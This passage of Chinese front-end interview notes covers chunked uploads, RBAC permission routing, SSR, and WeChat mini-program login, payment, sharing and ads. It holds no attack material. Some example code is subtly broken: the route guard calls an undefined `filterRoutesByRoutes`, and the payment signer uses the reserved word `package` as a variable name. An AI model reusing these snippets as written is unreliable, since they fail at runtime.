        if (index >= chunks.length) {
          resolve(spark.end());
          return;
        }
        reader.readAsArrayBuffer(chunks[index++]);
      };
      
      reader.onload = (e) => {
        spark.append(e.target.result);
        loadNext();
      };
      
      loadNext();
    });
  }
  
  // 切片
  sliceFile(file) {
    const chunks = [];
    let start = 0;
    while (start < file.size) {
      chunks.push(file.slice(start, start + this.chunkSize));
      start += this.chunkSize;
    }
    return chunks;
  }
  
  // 上传单个分片
  async uploadChunk(chunk, index, hash, fileName) {
    const formData = new FormData();
    formData.append('chunk', chunk);
    formData.append('index', index);
    formData.append('hash', hash);
    formData.append('fileName', fileName);
    
    return fetch('/api/upload/chunk', {
      method: 'POST',
      body: formData
    });
  }
  
  // 并发控制
  async concurrentUpload(tasks, limit) {
    const results = [];
    let index = 0;
    
    const worker = async () => {
      while (index < tasks.length) {
        const taskIndex = index++;
        results[taskIndex] = await tasks[taskIndex]();
      }
    };
    
    const workers = Array.from({ length: Math.min(limit, tasks.length) }, worker);
    await Promise.all(workers);
    return results;
  }
  
  // 主流程
  async upload(file) {
    const hash = await this.calculateHash(file);
    
    // 1. 检查秒传
    const checkRes = await fetch('/api/upload/check', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ hash, fileName: file.name })
    });
    const checkData = await checkRes.json();
    
    if (checkData.exist) {
      this.onProgress?.(100);
      return { status: 'exists', url: checkData.url };
    }
    
    // 2. 获取已上传的分片(断点续传)
    const uploadedChunks = checkData.uploaded || [];
    
    // 3. 切片
    const chunks = this.sliceFile(file);
    
    // 4. 过滤未上传的分片
    const tasks = chunks
      .map((chunk, index) => ({ chunk, index }))
      .filter(({ index }) => !uploadedChunks.includes(index))
      .map(({ chunk, index }) => () => 
        this.uploadChunk(chunk, index, hash, file.name)
      );
    
    // 5. 并发上传
    let completed = uploadedChunks.length;
    const total = chunks.length;
    
    const wrappedTasks = tasks.map(task => async () => {
      const result = await task();
      completed++;
      this.onProgress?.(Math.round((completed / total) * 100));
      return result;
    });
    
    await this.concurrentUpload(wrappedTasks, this.concurrent);
    
    // 6. 合并分片
    return fetch('/api/upload/merge', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ hash, fileName: file.name, chunkCount: total })
    });
  }
}

// 使用
const uploader = new FileUploader({
  chunkSize: 2 * 1024 * 1024,
  concurrent: 3,
  onProgress: (percent) => {
    console.log(`上传进度: ${percent}%`);
    document.getElementById('progress').style.width = `${percent}%`;
  }
});

document.getElementById('file-input').addEventListener('change', async (e) => {
  const file = e.target.files[0];
  const result = await uploader.upload(file);
  console.log('上传结果:', result);
});

99. 如何实现权限控制系统?

权限模型

模型 说明 适用场景
RBAC 基于角色的权限控制 通用场景
ABAC 基于属性的权限控制 细粒度控制
ACL 访问控制列表 简单权限

RBAC 实现

用户 (User) ── N:N ──> 角色 (Role) ── N:N ──> 权限 (Permission)

前端权限控制方案

维度 方案
菜单权限 动态路由、菜单过滤
按钮权限 自定义指令、组件
接口权限 请求拦截、后端校验
数据权限 数据过滤、行级权限

动态路由权限控制

// 路由配置
const asyncRoutes = [
  {
    path: '/admin',
    component: () => import('@/layouts/AdminLayout.vue'),
    meta: { roles: ['admin'] },
    children: [
      {
        path: 'users',
        component: () => import('@/pages/admin/Users.vue'),
        meta: { roles: ['admin'] }
      },
      {
        path: 'roles',
        component: () => import('@/pages/admin/Roles.vue'),
        meta: { roles: ['admin', 'manager'] }
      }
    ]
  },
  {
    path: '/dashboard',
    component: () => import('@/pages/Dashboard.vue'),
    meta: { roles: ['admin', 'user', 'manager'] }
  }
];

// 权限过滤函数
function filterRoutesByRoles(routes, userRoles) {
  return routes.filter(route => {
    if (route.meta?.roles) {
      const hasPermission = route.meta.roles.some(role => 
        userRoles.includes(role)
      );
      if (!hasPermission) return false;
    }
    
    if (route.children) {
      route.children = filterRoutesByRoles(route.children, userRoles);
    }
    
    return true;
  });
}

// 路由守卫
router.beforeEach(async (to, from, next) => {
  const userStore = useUserStore();
  
  if (!userStore.token) {
    if (to.path === '/login') {
      next();
    } else {
      next(`/login?redirect=${to.path}`);
    }
    return;
  }
  
  // 获取用户信息和权限
  if (!userStore.roles.length) {
    await userStore.fetchUserInfo();
    
    // 动态添加路由
    const accessibleRoutes = filterRoutesByRoutes(
      asyncRoutes, 
      userStore.roles
    );
    
    accessibleRoutes.forEach(route => {
      router.addRoute(route);
    });
    
    // 重新导航
    next({ ...to, replace: true });
    return;
  }
  
  next();
});

按钮权限控制

<!-- 权限指令 -->
const permission = {
  mounted(el, binding) {
    const { value } = binding;
    const userPermissions = useUserStore().permissions;
    
    if (value && !userPermissions.includes(value)) {
      el.parentNode?.removeChild(el);
    }
  }
};

app.directive('permission', permission);

<!-- 使用 -->
<button v-permission="'user:delete'">删除用户</button>
<button v-permission="'user:edit'">编辑用户</button>

权限组件

<template>
  <slot v-if="hasPermission"></slot>
</template>

<script>
export default {
  props: {
    permission: { type: String, required: true }
  },
  computed: {
    hasPermission() {
      return useUserStore().permissions.includes(this.permission);
    }
  }
}
</script>

<!-- 使用 -->
<Permission permission="user:delete">
  <button>删除用户</button>
</Permission>

100. 如何实现服务端渲染 (SSR)?

定义

服务端渲染(Server-Side Rendering)是在服务器端将组件渲染为 HTML 字符串,直接发送给浏览器。

优势

  • SEO 友好:搜索引擎可以抓取完整内容
  • 首屏加载快:无需等待 JS 下载执行
  • 用户体验好:减少白屏时间

Vue SSR 实现

// server.js
import { createSSRApp } from 'vue';
import { renderToString } from '@vue/server-renderer';
import express from 'express';
import App from './App.vue';

const app = express();

app.get('*', async (req, res) => {
  const vueApp = createSSRApp(App);
  
  // 传递初始数据
  vueApp.provide('initialData', { user: '张三' });
  
  const html = await renderToString(vueApp);
  
  res.send(`
    <!DOCTYPE html>
    <html>
      <head><title>SSR App</title></head>
      <body>
        <div id="app">${html}</div>
        <script>
          window.__INITIAL_DATA__ = ${JSON.stringify({ user: '张三' })};
        </script>
        <script src="/client.js"></script>
      </body>
    </html>
  `);
});

app.listen(3000);

React SSR 实现

// server.js
import express from 'express';
import React from 'react';
import { renderToString } from 'react-dom/server';
import App from './App';

const app = express();

app.get('*', (req, res) => {
  const html = renderToString(
    <React.StrictMode>
      <App />
    </React.StrictMode>
  );
  
  res.send(`
    <!DOCTYPE html>
    <html>
      <head><title>SSR App</title></head>
      <body>
        <div id="root">${html}</div>
        <script src="/client.js"></script>
      </body>
    </html>
  `);
});

app.listen(3000);

Nuxt.js / Next.js

// Nuxt.js (Vue)
// nuxt.config.js
export default {
  ssr: true,
  target: 'server'
}

// Next.js (React)
// next.config.js
module.exports = {
  // SSR 默认开启
}

// 页面组件
export async function getServerSideProps(context) {
  const data = await fetchData();
  return { props: { data } };
}

SSR 架构

┌──────────┐     ┌──────────┐     ┌──────────┐
│  浏览器   │────>│  服务端   │────>│  数据库   │
│          │<────│          │<────│          │
└──────────┘ HTML└──────────┘     └──────────┘
     │
     │ hydrate
     ▼
┌──────────┐
│  客户端   │
│  (SPA)   │
└──────────┘

重新学习前端之小程序

小程序

一、微信小程序基础

1. 什么是微信小程序?

定义

微信小程序是一种不需要下载安装即可使用的应用,它实现了应用"触手可及"的梦想,用户扫一扫或搜一下即可打开应用。小程序运行在微信客户端内,基于自研的渲染引擎和 JavaScript 运行环境。

原理

小程序采用双线程架构:

  • 逻辑层(AppService):运行 JavaScript 代码,处理业务逻辑,使用 JSCore(iOS)或 V8(Android)
  • 渲染层(WebView):负责页面渲染,使用 WebView
  • 两个线程通过微信客户端进行通信,使用 postMessageonMessage 进行数据传递
┌─────────────────────────────────────────────────────────────┐
│                        微信客户端                             │
├──────────────────────┬──────────────────────────────────────┤
│    渲染层 (WebView)   │        逻辑层 (JSCore/V8)            │
│  - WXML 结构         │        - JavaScript 代码             │
│  - WXSS 样式         │        - 业务逻辑处理                 │
│  - 页面渲染          │        - 数据管理                     │
└──────────┬───────────┴──────────────┬───────────────────────┘
           │                          │
           └──────────┬───────────────┘
                      │
              微信客户端 Native 桥接
           (postMessage / onMessage)

核心特点

  • 无需安装,即用即走
  • 依托微信生态,天然具备社交属性
  • 跨平台(iOS/Android 体验一致)
  • 受限的运行环境(不能使用 DOM/BOM API)

示例

// app.js - 小程序入口文件
App({
  onLaunch() {
    console.log('小程序启动')
  },
  globalData: {
    userInfo: null
  }
})

// pages/index/index.js - 页面文件
Page({
  data: {
    message: 'Hello Mini Program'
  },
  onLoad() {
    console.log('页面加载')
  }
})

常见误区

  • ❌ 小程序就是 H5 网页 → ✅ 小程序是独立的技术体系,有专用的语言和运行环境
  • ❌ 小程序可以随意跳转外部链接 → ✅ 小程序只能访问配置好的业务域名
  • ❌ 小程序没有大小限制 → ✅ 主包限制 2MB,总包限制 20MB

2. 微信小程序开发流程是什么?

实现步骤

步骤一:注册账号

  1. 访问 微信公众平台
  2. 选择"小程序"类型进行注册
  3. 填写邮箱、密码等基本信息
  4. 完成主体信息登记(个人/企业)

步骤二:获取 AppID

  1. 登录微信公众平台
  2. 进入"开发" → "开发管理" → "开发设置"
  3. 复制 AppID(小程序唯一标识)

步骤三:安装开发工具

  1. 下载 微信开发者工具
  2. 使用微信扫码登录
  3. 创建新项目,填入 AppID

步骤四:项目结构

miniprogram/
├── app.js              # 小程序逻辑
├── app.json            # 小程序公共配置
├── app.wxss            # 小程序公共样式表
├── pages/              # 页面目录
│   ├── index/
│   │   ├── index.js
│   │   ├── index.json
│   │   ├── index.wxml
│   │   └── index.wxss
│   └── logs/
│       ├── logs.js
│       ├── logs.json
│       ├── logs.wxml
│       └── logs.wxss
├── utils/              # 工具函数
└── components/         # 自定义组件

步骤五:开发与调试

// pages/index/index.js
Page({
  data: {
    count: 0
  },
  addCount() {
    this.setData({
      count: this.data.count + 1
    })
  }
})
<!-- pages/index/index.wxml -->
<view class="container">
  <text>计数: {{count}}</text>
  <button bindtap="addCount">+1</button>
</view>

步骤六:发布上线

  1. 点击"上传"按钮上传代码
  2. 登录微信公众平台提交审核
  3. 审核通过后发布上线

最佳实践

  • 开发阶段使用测试号,避免频繁扫码
  • 合理使用版本管理(Git)
  • 提交前做好真机测试
  • 注意代码包体积限制

3. 微信小程序如何注册?

定义

微信小程序注册分为两种含义:

  1. 平台注册:在微信公众平台注册小程序账号
  2. 用户注册:小程序内用户授权注册流程

平台注册流程

  1. 访问 mp.weixin.qq.com
  2. 点击"立即注册"
  3. 选择"小程序"类型
  4. 填写邮箱、密码、验证码
  5. 邮箱激活
  6. 信息登记(主体类型选择)
  7. 完成注册

主体类型对比

主体类型 适用对象 能力差异
个人 个人开发者 无法开通微信支付、部分接口受限
企业 公司/企业 完整能力支持
政府 政府机构 完整能力支持
媒体 新闻媒体 完整能力支持
其他组织 非营利组织等 部分能力支持

用户注册/登录实现

// 小程序登录流程
Page({
  async login() {
    // 1. 获取 code
    const { code } = await wx.login()
    
    // 2. 发送 code 到开发者服务器
    const res = await wx.request({
      url: 'https://your-server.com/api/login',
      method: 'POST',
      data: { code }
    })
    
    // 3. 获取自定义登录态
    const { token } = res.data
    wx.setStorageSync('token', token)
  },
  
  // 获取用户信息(需要用户授权)
  async getUserProfile() {
    const res = await wx.getUserProfile({
      desc: '用于完善用户资料'
    })
    console.log(res.userInfo)
  }
})

后端登录验证流程

// Node.js 后端示例
const request = require('request')

app.post('/api/login', async (req, res) => {
  const { code } = req.body
  
  // 调用微信接口获取 openid 和 session_key
  const url = `https://api.weixin.qq.com/sns/jscode2session?appid=${APPID}&secret=${SECRET}&js_code=${code}&grant_type=authorization_code`
  
  request(url, (error, response, body) => {
    const { openid, session_key } = JSON.parse(body)
    
    // 生成自定义登录态(token)
    const token = generateToken(openid)
    
    // 存储 session_key(不能返回给客户端)
    saveSession(token, session_key)
    
    res.json({ token })
  })
})

常见误区

  • wx.getUserInfo 可以直接获取用户信息 → ✅ 已废弃,需要使用 wx.getUserProfile 或按钮授权
  • ❌ session_key 可以返回给客户端 → ✅ session_key 是敏感信息,只能保存在服务端
  • ❌ code 可以多次使用 → ✅ code 只能使用一次,有效期 5 分钟

4. 微信小程序配置详解

4.1 app.json 全局配置

定义

app.json 是小程序的全局配置文件,用于配置小程序的页面路径、窗口表现、网络超时时间、底部 tab 等。

完整配置示例

{
  "pages": [
    "pages/index/index",
    "pages/logs/logs",
    "pages/user/user"
  ],
  "window": {
    "navigationBarTitleText": "小程序演示",
    "navigationBarBackgroundColor": "#ffffff",
    "navigationBarTextStyle": "black",
    "backgroundColor": "#eeeeee",
    "backgroundTextStyle": "dark",
    "enablePullDownRefresh": true
  },
  "tabBar": {
    "color": "#999999",
    "selectedColor": "#ff6633",
    "backgroundColor": "#ffffff",
    "borderStyle": "black",
    "position": "bottom",
    "list": [
      {
        "pagePath": "pages/index/index",
        "text": "首页",
        "iconPath": "images/home.png",
        "selectedIconPath": "images/home-active.png"
      },
      {
        "pagePath": "pages/user/user",
        "text": "我的",
        "iconPath": "images/user.png",
        "selectedIconPath": "images/user-active.png"
      }
    ]
  },
  "networkTimeout": {
    "request": 10000,
    "downloadFile": 10000
  },
  "style": "v2",
  "sitemapLocation": "sitemap.json",
  "lazyCodeLoading": "requiredComponents"
}

核心配置项说明

配置项 类型 必填 说明
pages Array 页面路径列表,第一项为首页
window Object 全局默认窗口表现
tabBar Object 底部 tab 栏配置
subPackages Array 分包加载配置
workers String Worker 代码放置目录
networkTimeout Object 网络超时时间
functionalPages Boolean 是否启用插件功能页
plugins Object 使用插件配置
permission Object 接口权限设置

pages 配置规则

{
  "pages": [
    "pages/index/index",      // 第一个页面是首页
    "pages/detail/index",
    "pages/user/index"
  ]
}
// 注意:只需要写路径,不需要写文件扩展名
// 开发者工具会自动读取路径下的 .js .json .wxml .wxss 四个文件

常见误区

  • ❌ pages 数组最后一个页面不能加逗号 → ✅ JSON 不允许尾逗号
  • ❌ 新增页面不需要注册 → ✅ 所有页面必须在 pages 中注册
  • ❌ 修改 pages 顺序不会改变首页 → ✅ pages 第一项就是首页
4.2 page.json 页面配置

定义

page.json 用于配置页面窗口表现,只能配置 window 配置项的内容,会覆盖 app.json 的 window 配置。

示例

{
  "navigationBarTitleText": "用户中心",
  "navigationBarBackgroundColor": "#07C160",
  "navigationBarTextStyle": "white",
  "backgroundColor": "#f7f7f7",
  "enablePullDownRefresh": true,
  "onReachBottomDistance": 50,
  "pageOrientation": "portrait",
  "usingComponents": {
    "custom-header": "/components/custom-header/index",
    "custom-footer": "/components/custom-footer/index"
  }
}
4.3 project.config.json 项目配置

定义

项目配置文件,保存开发者工具的个性化设置,如界面颜色、编译配置等。

{
  "description": "项目配置文件",
  "packOptions": {
    "ignore": [],
    "include": []
  },
  "setting": {
    "bundle": false,
    "userConfirmedBundleSwitch": false,
    "urlCheck": true,
    "scopeDataCheck": false,
    "coverView": true,
    "es6": true,
    "postcss": true,
    "compileHotReLoad": false,
    "lazyloadPlaceholderEnable": false,
    "preloadBackgroundData": false,
    "minified": true,
    "autoAudits": false,
    "newFeature": false,
    "uglifyFileName": false,
    "uploadWithSourceMap": true,
    "useIsolateContext": true,
    "nodeModules": false,
    "enhance": true,
    "useMultiFrameRuntime": true,
    "useApiHook": true,
    "showShadowRootInWxmlPanel": true,
    "packNpmManually": false,
    "enableEngp": false,
    "packNpmRelationList": [],
    "minifyWXSS": true,
    "showES6CompileOption": false,
    "minifyWXML": true,
    "babelSetting": {
      "ignore": [],
      "disablePlugins": [],
      "outputPath": ""
    }
  },
  "compileType": "miniprogram",
  "libVersion": "2.19.4",
  "appid": "wx1234567890abcdef",
  "projectname": "my-miniprogram",
  "condition": {}
}
4.4 sitemap.json 索引配置

定义

用于配置小程序页面是否允许微信索引。微信会基于 sitemap 的配置对小程序页面进行索引。

示例

{
  "rules": [
    {
      "action": "allow",
      "page": "*"
    },
    {
      "action": "disallow",
      "page": "pages/debug/debug"
    }
  ]
}

规则说明

  • action: allow 允许索引,disallow 不允许索引
  • page: 页面路径,* 表示所有页面
  • 规则按顺序匹配,前面优先

5. 微信小程序登录流程

定义

微信小程序登录是基于 OAuth 2.0 的授权登录流程,通过 wx.login() 获取临时登录凭证 code,换取用户唯一标识 openid 和会话密钥 session_key。

登录时序图

┌──────┐     ┌──────┐     ┌──────┐     ┌────────┐
│小程序 │     │开发者 │     │微信  │     │ 业务   │
│      │     │服务器 │     │服务器 │     │ 数据库  │
└──┬───┘     └──┬───┘     └──┬───┘     └───┬────┘
   │            │            │             │
   │ wx.login() │            │             │
   │───┬───>    │            │             │
   │   │ code   │            │             │
   │   <───┤    │            │             │
   │            │            │             │
   │  request   │            │             │
   │───────────>│            │             │
   │  {code}    │            │             │
   │            │            │             │
   │            │ code2session               │
   │            │───────────>│             │
   │            │            │             │
   │            │ openid,session_key        │
   │            │<───────────│             │
   │            │            │             │
   │            │ 生成3rd_session(token)    │
   │            │──────────────────────────>│
   │            │            │             │
   │            │<──────────────────────────│
   │            │   token                   │
   │   <────────│            │             │
   │  token     │            │             │
   │            │            │             │
   │ 存储 token │            │             │

完整实现

// 小程序端
class AuthService {
  // 静默登录
  static async silentLogin() {
    try {
      // 1. 获取 code
      const { code } = await wx.login()
      if (!code) {
        throw new Error('登录失败,无法获取 code')
      }
      
      // 2. 调用后端接口
      const res = await wx.request({
        url: 'https://api.example.com/auth/login',
        method: 'POST',
        data: { code }
      })
      
      // 3. 存储登录态
      const { token, userInfo } = res.data
      wx.setStorageSync('token', token)
      wx.setStorageSync('userInfo', userInfo)
      
      return { token, userInfo }
    } catch (error) {
      console.error('登录失败:', error)
      throw error
    }
  }
  
  // 检查登录状态
  static async checkLogin() {
    const token = wx.getStorageSync('token')
    if (!token) {
      return this.silentLogin()
    }
    
    // 验证 token 是否有效
    try {
      const res = await wx.request({
        url: 'https://api.example.com/auth/check',
        method: 'POST',
        header: { Authorization: `Bearer ${token}` }
      })
      return res.data
    } catch {
      // token 失效,重新登录
      return this.silentLogin()
    }
  }
  
  // 获取用户信息
  static async getUserProfile() {
    try {
      const res = await wx.getUserProfile({
        desc: '用于完善个人资料'
      })
      return res.userInfo
    } catch (error) {
      console.error('用户拒绝授权')
      throw error
    }
  }
}

// 使用
App({
  async onLaunch() {
    await AuthService.silentLogin()
  }
})

后端实现(Node.js)

const crypto = require('crypto')

class WechatAuthService {
  constructor(appid, secret) {
    this.appid = appid
    this.secret = secret
  }
  
  // code2session
  async code2Session(code) {
    const url = `https://api.weixin.qq.com/sns/jscode2session`
    const params = {
      appid: this.appid,
      secret: this.secret,
      js_code: code,
      grant_type: 'authorization_code'
    }
    
    const res = await httpsGet(url, params)
    return res
  }
  
  // 登录接口
  async login(code) {
    // 1. 获取 openid 和 session_key
    const { openid, session_key, unionid } = await this.code2Session(code)
    
    // 2. 生成自定义登录态
    const token = this.generateToken(openid, session_key)
    
    // 3. 存储 session_key
    await redis.set(`session:${token}`, session_key, { EX: 7200 })
    
    // 4. 获取或创建用户
    const user = await this.getOrCreateUser(openid, unionid)
    
    return { token, userInfo: user }
  }
  
  generateToken(openid, sessionKey) {
    const content = `${openid}:${sessionKey}:${Date.now()}`
    return crypto.createHash('sha256').update(content).digest('hex')
  }
}

最佳实践

  • 登录态有效期建议 2 小时
  • 使用 token 机制,不要将 session_key 返回客户端
  • 登录失败要有重试机制
  • 用户信息获取需要用户主动授权

常见误区

  • ❌ 每次打开小程序都重新登录 → ✅ 应检查本地 token 是否有效
  • ❌ 使用 session_key 作为登录凭证 → ✅ session_key 敏感,应生成第三方 session
  • ❌ 静默登录获取用户头像昵称 → ✅ 需要用户授权才能获取

6. 微信小程序支付流程

定义

微信支付是小程序内完成交易的核心能力,需要商户号、后端服务器配合,遵循统一的支付流程。

支付流程图

┌──────┐     ┌──────┐     ┌──────┐     ┌──────┐
│小程序 │     │商户  │     │微信  │     │ 银行  │
│      │     │服务器 │     │支付  │     │      │
└──┬───┘     └──┬───┘     └──┬───┘     └───┬──┘
   │            │            │             │
   │ 发起支付   │            │             │
   │───────────>│            │             │
   │            │            │             │
   │            │ 请求统一下单               │
   │            │───────────>│             │
   │            │            │             │
   │            │ prepay_id │             │
   │            │<───────────│             │
   │            │            │             │
   │ 支付参数   │            │             │
   │<───────────│            │             │
   │            │            │             │
   │ wx.requestPayment()    │             │
   │            │            │             │
   │────────────────────────>│             │
   │            │            │             │
   │ 支付结果   │            │             │
   │<────────────────────────│             │
   │            │            │             │
   │ 通知支付结果               │             │
   │───────────>│            │             │
   │            │            │             │
   │            │ 支付回调通知               │
   │            │<───────────│             │
   │            │            │             │
   │            │ 发货/处理业务              │

小程序端实现

// 发起支付
async function doPayment(orderId) {
  // 1. 请求后端获取支付参数
  const { data } = await wx.request({
    url: 'https://api.example.com/pay/create',
    method: 'POST',
    data: { orderId }
  })
  
  const { 
    timeStamp, 
    nonceStr, 
    package: pkg, 
    signType, 
    paySign 
  } = data
  
  // 2. 调起支付
  try {
    await wx.requestPayment({
      timeStamp,
      nonceStr,
      package: pkg,
      signType: signType || 'RSA',
      paySign,
      success(res) {
        console.log('支付成功', res)
        // 跳转到成功页面
        wx.redirectTo({ url: '/pages/pay-success/index' })
      },
      fail(err) {
        if (err.errMsg.includes('cancel')) {
          console.log('用户取消支付')
        } else {
          console.error('支付失败', err)
        }
      }
    })
  } catch (error) {
    console.error('支付异常', error)
  }
}

后端统一下单(Node.js)

const crypto = require('crypto')
const fs = require('fs')

class WechatPay {
  constructor(config) {
    this.appid = config.appid
    this.mchid = config.mchid
    this.privateKey = fs.readFileSync(config.privateKeyPath)
    this.serialNo = config.serialNo
  }
  
  // 生成签名
  sign(data) {
    const sign = crypto.createSign('RSA-SHA256')
    sign.update(data)
    return sign.sign(this.privateKey, 'base64')
  }
  
  // 统一下单
  async createOrder(params) {
    const { outTradeNo, description, amount, openid } = params
    
    const orderData = {
      appid: this.appid,
      mchid: this.mchid,
      description,
      out_trade_no: outTradeNo,
      notify_url: 'https://api.example.com/pay/notify',
      amount: {
        total: amount, // 单位:分
        currency: 'CNY'
      },
      payer: {
        openid
      }
    }
    
    // 调用微信 API
    const result = await this.requestPayAPI('/v3/pay/transactions/jsapi', orderData)
    
    return {
      timeStamp: String(Math.floor(Date.now() / 1000)),
      nonceStr: this.generateNonceStr(),
      package: `prepay_id=${result.prepay_id}`,
      signType: 'RSA',
      paySign: this.generatePaySign(result.prepay_id)
    }
  }
  
  generatePaySign(prepayId) {
    const timeStamp = String(Math.floor(Date.now() / 1000))
    const nonceStr = this.generateNonceStr()
    const package = `prepay_id=${prepayId}`
    
    const message = `${this.appid}\n${timeStamp}\n${nonceStr}\n${package}\n`
    return this.sign(message)
  }
}

支付回调处理

// 处理支付回调
app.post('/pay/notify', async (req, res) => {
  const { body } = req
  
  // 1. 验证签名
  const isValid = verifySignature(req.headers, body)
  if (!isValid) {
    return res.status(401).send('签名验证失败')
  }
  
  // 2. 解析回调数据
  const data = decryptCallback(body)
  
  // 3. 更新订单状态
  await updateOrderStatus(data.out_trade_no, 'paid')
  
  // 4. 返回成功响应
  res.json({ code: 'SUCCESS', message: '成功' })
})

最佳实践

  • 金额单位是分,注意转换
  • 回调必须验证签名
  • 订单号要唯一
  • 处理重复回调(幂等性)
  • 支付结果以回调为准,不要仅依赖前端结果

常见误区

  • ❌ 前端可以修改支付金额 → ✅ 金额由后端决定
  • ❌ 支付成功立即发货 → ✅ 以回调为准
  • ❌ 回调只处理一次 → ✅ 可能多次回调,需幂等处理

7. 微信小程序分享功能

定义

小程序分享是指将小程序页面或内容分享给微信好友或微信群的能力,包括页面分享和按钮分享两种方式。

实现方式

方式一:页面分享(右上角菜单)

Page({
  onShareAppMessage() {
    return {
      title: '分享标题',
      path: '/pages/index/index?shareFrom=123',
      imageUrl: 'https://example.com/share.png',
      promise: new Promise((resolve) => {
        // 异步获取分享数据
        setTimeout(() => {
          resolve({
            title: '异步分享标题',
            path: '/pages/index/index?shareFrom=456'
          })
        }, 100)
      })
    }
  }
})

方式二:按钮分享

<!-- wxml -->
<button open-type="share">
  分享给好友
</button>
// js
Page({
  onShareAppMessage({ from, target }) {
    if (from === 'button') {
      // 按钮分享
      return {
        title: '按钮分享标题',
        path: '/pages/index/index?shareFrom=button'
      }
    }
    // 右上角菜单分享
    return {
      title: '默认分享标题',
      path: '/pages/index/index'
    }
  }
})

方式三:分享到朋友圈

Page({
  onShareTimeline() {
    return {
      title: '朋友圈分享标题',
      query: 'key1=value1&key2=value2',
      imageUrl: 'https://example.com/timeline.png'
    }
  }
})

分享参数说明

参数 类型 必填 说明
title String 分享标题,默认小程序名称
path String 分享路径,默认当前页面
imageUrl String 分享图片,默认截图
query String 查询参数(朋友圈)

分享回调

Page({
  onShareAppMessage() {
    return {
      title: '分享标题',
      path: '/pages/index/index',
      success(res) {
        console.log('分享成功', res)
        // 分享成功统计
      },
      fail(err) {
        console.log('分享失败', err)
      }
    }
  }
})

最佳实践

  • 分享路径携带邀请人 ID,用于统计和奖励
  • 自定义分享图片尺寸 5:4,建议 500×400
  • 分享标题要有吸引力,提高点击率
  • 分享页面需要支持分享参数,处理来源识别

常见误区

  • ❌ 可以监听分享是否被点击 → ✅ 只能监听分享动作,无法监听是否被查看
  • ❌ 分享到朋友圈需要额外权限 → ✅ 基础库 2.11.3 以上支持
  • ❌ 分享可以分享任意图片 → ✅ 图片域名需在业务域名中

8. 微信小程序订阅消息

定义

订阅消息是小程序向用户发送通知的能力,取代了原有的模板消息。需要用户主动订阅才能发送,分为一次性订阅和长期订阅。

订阅消息类型

类型 说明 场景
一次性订阅 用户订阅一次可发送一条消息 通知类场景(订单发货、预约提醒)
长期订阅 用户订阅后可长期发送 政务民生、医疗、交通等特定行业

实现流程

步骤一:配置模板

  1. 登录微信公众平台
  2. 进入"功能" → "订阅消息"
  3. 选择合适的模板并添加

步骤二:请求授权

// 请求订阅消息授权
async function requestSubscribe() {
  const res = await wx.requestSubscribeMessage({
    tmplIds: ['TEMPLATE_ID_1', 'TEMPLATE_ID_2']
  })
  
  console.log(res)
  // { TEMPLATE_ID_1: 'accept', TEMPLATE_ID_2: 'reject' }
}

步骤三:发送消息(后端)

// Node.js 后端发送订阅消息
async function sendSubscribeMessage(openid, templateId, data) {
  const accessToken = await getAccessToken()
  
  const url = `https://api.weixin.qq.com/cgi-bin/message/subscribe/send?access_token=${accessToken}`
  
  const body = {
    touser: openid,
    template_id: templateId,
    page: 'pages/order/detail?id=123',
    data: {
      thing1: { value: '订单已发货' },
      time2: { value: '2024-01-15 14:30' },
      phrase3: { value: '已完成' }
    }
  }
  
  const res = await httpsPost(url, body)
  return res
}

完整示例

// 小程序端
Page({
  data: {
    orderStatus: 'pending'
  },
  
  // 用户下单后请求订阅
  async onOrderSuccess() {
    try {
      await wx.requestSubscribeMessage({
        tmplIds: ['order_status_tmpl']
      })
    } catch (e) {
      console.log('用户拒绝订阅')
    }
  }
})

// 后端触发发送
async function notifyOrderStatus(openid, order) {
  await sendSubscribeMessage(openid, 'order_status_tmpl', {
    thing1: { value: `订单${order.id}状态更新` },
    time2: { value: formatTime(new Date()) },
    phrase3: { value: order.status }
  })
}

最佳实践

  • 在合适的时机请求订阅(用户操作后)
  • 不要频繁请求授权
  • 处理用户拒绝的情况
  • 消息内容要与模板匹配

常见误区

  • ❌ 可以无条件发送消息 → ✅ 必须用户订阅
  • ❌ 一次性订阅可以多次发送 → ✅ 订阅一次只能发一次
  • ❌ 前端可以发送订阅消息 → ✅ 必须通过后端 API

9. 微信小程序客服功能

定义

小程序客服是为用户提供在线咨询的能力,用户可以在小程序内直接与商家沟通。微信提供原生客服组件和客服消息两种能力。

实现方式

方式一:原生客服按钮

<!-- 使用 button 组件的 open-type -->
<button open-type="contact">
  联系客服
</button>

方式二:自定义客服入口

<contact-button 
  size="20" 
  session-from="page-index"
></contact-button>

客服消息处理

// 服务端接收客服消息
app.post('/wechat/callback', (req, res) => {
  const { body } = req
  
  // 解析 XML
  const message = parseXML(body)
  
  if (message.MsgType === 'text') {
    const content = message.Content
    
    // 自动回复
    const reply = generateReply(content)
    
    res.xml(buildReplyXML(message.FromUserName, message.ToUserName, reply))
  }
})

最佳实践

  • 设置自动回复提升响应速度
  • 配置客服工作时间
  • 多客服人员合理分配
  • 重要问题转人工处理

10. 微信小程序广告

定义

小程序广告是微信提供的流量变现能力,开发者可以在小程序中接入广告获取收益。

广告组件类型

类型 说明 使用场景
Banner 广告 横幅广告 页面底部或中部
激励式视频广告 观看视频获取奖励 游戏复活、积分兑换
插屏广告 弹窗广告 页面切换时
格子广告 多广告位 广告专门页面
视频广告 视频流广告 内容流中
原生模板广告 自定义样式 与内容融合

使用示例

<!-- Banner 广告 -->
<ad 
  unit-id="adunit-xxx" 
  ad-intervals="30"
  bindload="onAdLoad"
  binderror="onAdError"
  bindclose="onAdClose"
></ad>
// 激励式视频广告
Page({
  onLoad() {
    // 创建激励视频广告实例
    this.videoAd = wx.createRewardedVideoAd({
      adUnitId: 'adunit-xxx'
    })
    
    this.videoAd.onClose((status) => {
      if (status && status.isEnded || status === undefined) {
        // 播放完成,发放奖励
        this.giveReward()
      } else {
        console.log('提前关闭')
      }
    })
  },
  
  // 显示广告
  showVideoAd() {
    this.videoAd.show().catch(() => {
      // 广告拉取失败
      this.videoAd.load()
        .then(() => this.videoAd.show())
        .catch(err => console.error(err))
    })
  },
  
  giveReward() {
    console.log('发放奖励')
  }
})

最佳实践

  • 广告不应影响用户体验
  • 激励广告奖励要及时发放
  • 合理控制广告频率
  • 遵守广告规范

二、支付宝小程序

11. 支付宝小程序是什么?

定义

支付宝小程序是支付宝开放平台提供的轻量级应用,用户可以在支付宝客户端内直接使用,无需下载安装。

与微信小程序对比

对比维度 微信小程序 支付宝小程序
文件后缀 .wxml / .wxss .axml / .acss
